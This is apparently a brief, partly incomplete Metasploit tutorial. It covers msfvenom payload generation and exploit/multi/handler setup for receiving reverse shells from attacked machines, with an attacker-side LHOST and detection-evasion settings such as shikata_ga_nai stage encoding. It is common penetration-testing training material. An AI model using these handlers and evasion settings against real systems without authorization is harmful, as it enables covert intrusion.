Creating Metasploit Payloads
Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to validparameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
| use exploit/multi/handlerset PAYLOAD <Payload name>set LHOST <LHOST value>set LPORT <LPORT value>set ExitOnSession falseexploit -j-z |
|---|
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r‘
# you can also use in the handler the follow settings
# to help evade and stop Eavesdropping
set EnableStageEncoding true
set EnableUnicodeEncoding true
set StageEncoder x86/shikata_ga_nai
## Using ssl/tls certs (payload and handler):
set HandlerSSLCert=path/to/cert.pem
set StagerVerifySSLCert=true
